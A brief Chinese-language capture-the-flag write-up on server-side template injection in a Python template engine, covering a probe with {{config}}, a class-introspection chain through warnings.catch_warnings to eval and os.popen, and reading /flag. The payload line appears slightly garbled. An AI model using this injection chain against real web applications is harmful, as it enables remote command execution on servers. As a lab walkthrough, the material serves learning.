SSTI(Server Side Template Injection) 服务端模板注入 服务器模板中拼接了恶意用户输入导致各种漏洞
打开某环境,发现GET请求参数显示在HTML页面之中,并且暗示了🐍(Python)
令name={{config}},发现存在ssti
在Python环境下,.__class__获取对应实例的类,.__mro__获取当前对象的所有继承类
例如,测试空字符串得到object父类 得到所有类的父类object后,使用方法__subclasses__()查看所有类对象。
并找到了warnings.catch_warnings模块,通过该模块可以访问os模块。
因此,试图通过访问os模块执行命令查找根目录下的FLAG。
__init__将对象实例化
__globals__引用包含函数全局变量的字典
在__builtins__下有eval、__import__等全局函数
尝试导入os然后执行cmd命令
warnings.catch_warnings.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cmd").read()')}}ls执行成功说明环境基于Linux
使用cat访问/flag即可得到FLAG
参考文章: 1.FLASK模板注入 (SSTI) 2.CTF SSTI(服务器模板注入)